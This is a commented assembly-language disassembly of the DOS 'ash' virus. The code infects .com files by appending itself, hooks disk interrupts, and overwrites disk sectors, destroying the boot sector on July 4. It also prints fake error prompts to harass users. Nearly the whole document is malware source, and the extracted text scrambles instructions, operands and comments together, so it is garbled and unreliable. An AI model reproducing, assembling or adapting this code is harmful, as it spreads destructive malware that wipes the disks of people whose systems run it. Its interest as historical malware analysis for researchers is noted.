;************************************************************************** ;* the ash virus * ;************************************************************************** ;* caution! this virus performs absolute disk writes when it activated! * ;*it checks for something in memory, probably some resident av utility. * ;* (in other words, it can trash your disk!) * ;* disassembly by black wolf * ;************************************************************************** .model tiny .radix 16 .code org 100 start: jmp start_virus id_byte: db 1ah ;************************************************************************** ;* infected program goes here. * ;************************************************************************** storage_bytes: nop nop int
;first four bytes of host program. 20
;************************************************************************** ;* virus entry point (start_virus) * ;************************************************************************** start_virus: call get_offset get_offset: pop bp sub bp,offset get_offset ;get offset of virus mov [bp+store_ax],ax xor mov mov mov mov mov lea mov mov mov
di,di word ptr [di+4ah],0 es,di si,96 bx,es:[si] cx,es:[si+2] dx,[bp+int_25] es:[si],dx dx,cs es:[si+2],dx
;in reserved area of psp ;es=0 (interrupt table) ;si=96 (int 25) ;get int 25 address ;int 25 handler ;set int 25 address
; the code below seems to check for either another virus or perhaps an ;anti-viral program in memory that sets the address of int 7f to ffffh to ;mark its presence. this may be to avoid detection by certain memory ;resident anti-viral utilities that analyse behavior, or to prevent conflicts ;with another virus. a tsr vaccine might also be a possibility. mov cmp jne jmp nop
si,es:[di+1fe] si,0ffffh restore_host_and_infect short restore_control
;int 7f (marker) ;has it been set? ;no, jump restore_host_and... ;already set, jump to ;restore_control
restore_host_and_infect: mov cs:[di+4ch],bx ;save old int 25 address mov cs:[di+4eh],cx ;inside psp ("reserved" area) push cs pop es mov byte ptr [bp+infect_count],0 ;reset infect counter lea si,[bp+storage_bytes] ;si=storage bytes mov di,100 ;di=start of com mov cx,4 cld rep movsb ;restore storage mov ah,1ah ;bytes to host lea dx,[bp+new_dta] ;ds:dx = new_dta int 21h ;change dta to new_dta mov lea lea push jmp
ah,4eh dx,[bp+file_mask] si,[bp+new_dta+1e] dx short find_first_next
restore_control:
;setup find first for *.com ;set si=filename in dta ;save mask address
;this restores defaults and ;gives control to host com.
mov mov int
ah,1ah dx,80 21h
xor mov mov mov mov mov mov push pop mov mov mov mov mov mov mov push mov ret
di,di es,di si,96 bx,cs:[di+4ch] es:[si],bx cx,cs:[di+4eh] es:[si+2],cx cs es ax,[bp+store_ax] bx,di cx,bx dx,cx si,dx sp,0fffe bp,100 bp bp,ax
or jz mov int
bx,bx find_next ah,3eh 21h
xor
bx,bx
;reset dta to default in psp ;es:di=interrupt table ;es:si=int 25 ;get old int 25 address ;and restore int 25
;restore ax to original ;zero registers
;restore sp to default ;bp=start of com file ;push 100 for ret ;reset bp ;go to cs:100 to restore ;control to host program
close_file:
find_next:
;close file if handle is ;not 0 (console)
mov find_first_next: pop push xor xor int
ah,4fh
jnc jmp nop infect_file: mov mov int
infect_file short no_more_files
dx dx cx,cx bx,bx 21h
;find next
;find first/next match ;with normal attributes
ax,3d02h dx,si 21h
;open file for read/write
jc mov mov mov lea int
close_file bx,ax ah,3fh cx,4 dx,[bp+storage_bytes] 21h
;jump on error
cmp je cmp je
byte ptr [bp+storage_bytes+3],1ah close_file byte ptr [bp+storage_bytes],4dh close_file
mov xor xor int
ax,4202h cx,cx dx,dx 21h
cmp ja mov mov mov lea int
ax,0fd00h close_file [bp+file_size],ax ah,40h cx,4 dx,[bp+storage_bytes] 21h
mov mov lea int
ah,40h cx,end_virus-start_virus ;cx=virus size dx,[bp+start_virus] ;write from start of virus 21h ;append virus to host
mov xor xor int
ax,4200h cx,cx dx,dx 21h
mov inc mov mov mov
ax,[bp+file_size] ;setup jump ax word ptr [bp+storage_bytes+1],ax byte ptr [bp+storage_bytes],0e9h byte ptr [bp+storage_bytes+3],1ah
mov
ah,40h
;read four bytes into storage ;check for id byte. ;already infected... ;is it an exe? ;yes? don't infect.
;got to the end of file
;is file over 64768 bytes? ;too big, jump close_file
;write storage bytes
;move back to beginning of file
;jump size ;jump command ;id byte
mov lea int inc jmp no_more_files: cmp jae mov cmp je
activation:
cx,4 dx,[bp+storage_bytes] 21h
;write jump to file
byte ptr [bp+infect_count] close_file
;increment infect_count
lea mov int
byte ptr [bp+infect_count],2 ;check infect_count activation ;if >=2 go activation di,100 word ptr [di],20cdh ;are first bytes an "int 20"? activation ;yes? activate, it's probably ;bait. (i.e. a researcher.) dx,[bp+parent_dir] ah,3bh 21h ;move back one directory
jc
activation
;in root directory? activate.
mov jmp
ah,4eh find_first_next
;find next file
xor mov mov int
di,di es,di ah,2ah 21h
;get date/time
;if the virus is run on the fourth of july, it will trash sector 0 of the ;default drive, killing the boot sector.
not_yet:
cmp jne cmp jne xor jmp nop
dl,4 not_yet dh,7 not_yet ax,ax short trash_disk
mov int
ah,2ch 21h
;get time
or jnz cmp jge
cl,cl dont_kill_hd ch,6 dont_kill_hd
;do minutes = 0? ;no? jump dont_kill_hd ;is it passed 6:00 am? ;yes? jump dont_kill_hd
stupid_damage_algorithm: add cl,ch mov ax,cx cbw add al,dh adc al,dl adc or jnz
ah,0 ax,ax trash_disk
;is it the fourth? ;no? jump to not_yet ;is it july? ;no? jump to not_yet ;trash boot sector ;on july fourth.
;add minutes and hours ;change the byte to a word ;add the month ;add the day, carrying result ;from the last addition ;add any carried numbers ;and if it all comes out zero ;set ax=1, otherwise keep ax.
inc
ax
mov
dx,ax
;trash disks either way.
trash_disk:
mov xor mov int int dont_kill_hd: mov mov int inc lower_sec_loop: cmp jl sub jmp
;sector #. this will be more ;or less random except on july ;fourth, when it kills sector 0, ;which contains the boot sector. ;number of sectors to trash ;address to write from
cx,1 bx,bx ah,19h 21h 26h
;get default drive ;and trash sector.
bx,offset random_table ah,2ch 21h dh
;get time
;increment seconds ;(prevent 0)
dh,byte ptr [rnd_string_key] random_alg dh,byte ptr [rnd_string_key] short lower_sec_loop ;dh = 01h to 0ah
random_alg:
;get a random number to choose string. mov mov cbw
al,dh cl,al
;move random number to al ;and to cl (minutes) ;make al into word ax ;(in this case, zeros ah) ;ax is now between 1 and 45h (69)
shl add mov
ax,1 bx,ax si,[bx] ; ;
mov mov mov int
ch,[si-1] dx,si ah,9 21h
cmp jne
ch,0 halt
;was the byte from [si-1] a 0? ;if not, jump halt
20h
;kill program
terminate_program: int halt:
;multiply by 2 ;add ax to bx (selection address) ;get byte from address at [bx] into si this will contain the address of a string to print.
cmp jne hlt choose_what_ta_do:
;get byte from si-1 into ch ;print chosen string at dx until a '$'
ch,1 ;was it a 1? choose_what_ta_do ;if not, jump to choose_what_ta_do ;otherwise, halt processor
go_to_host:
cmp je
ch,2 abort_retry_etc
jmp abort_retry_etc: lea mov int
harass_em:
restore_control dx,[bp+error_message_1] ;display "abort, retrt" etc.. ah,9 21h
mov int
ah,1 21h
lea mov int
dx,[bp+carriage_ret] ah,9 21h
mov cmp ja add
dh,cl al,5ah harass_em al,20h
cmp je cmp jne lea mov int
al,61h terminate_program al,72h harass_em_more dx,[bp+carriage_ret] ah,9 21h
jmp harass_em_more: cmp je cmp jne
al,69h go_to_host al,66h abort_retry_etc
;set letter to lowercase ;if (a)bort then jump to ;terminate_program ;if (r)etry then go on, ;otherwise jump to harass_em_more ;print a carriage return
;if user presses (i)gnore ;jump to go_to_host, (f)ail ;continue, anything else ;then jump to abort_retry_etc
dx,[bp+error_message_2] ah,9 21h ;display "fail on int 24"
int
20h db db
db db
;terminate program
0ah 65h, 03h, 8ah, 03h,0aeh, 03h 0d4h, 03h,0d4h, 03h,0d4h, 03h 0d4h, 03h,0d4h, 03h,0d4h, 03h 0d4h, 03h
;used to select string
0dh,0a,'abort, retry, ignore, fail?$' 0dh,0a,24 0dh,0a,0dh,0a,'fail on int 24',0dh,0a,24
db
dumb_mes_3
;print a return
short random_alg
error_message_1 db carriage_ret db error_message_2 db
dumb_mes_2
;get key with echo
lea mov int
rnd_string_key random_table db db db
dumb_mes_1
;was it a 2? ;if so, jump to abort_retry_etc ;otherwise, run host
02h db db db
'impotence error reading user''s dick$'
0 01h
'program too big to fit in memory',0dh,0a,24 'cannot load command, system halted',0dh,0a,24
db dumb_mes_4 int_25:
3 db
xor iret
'joker!',0dh,0a,0dh,0a,24 al,al
file_mask parent_dir
db db
'*.com',0 '..',0
end_virus: new_dta store_ax infect_count file_size
db dw db dw
2bh dup (?) ? ? ?
end
start
;int 25 handler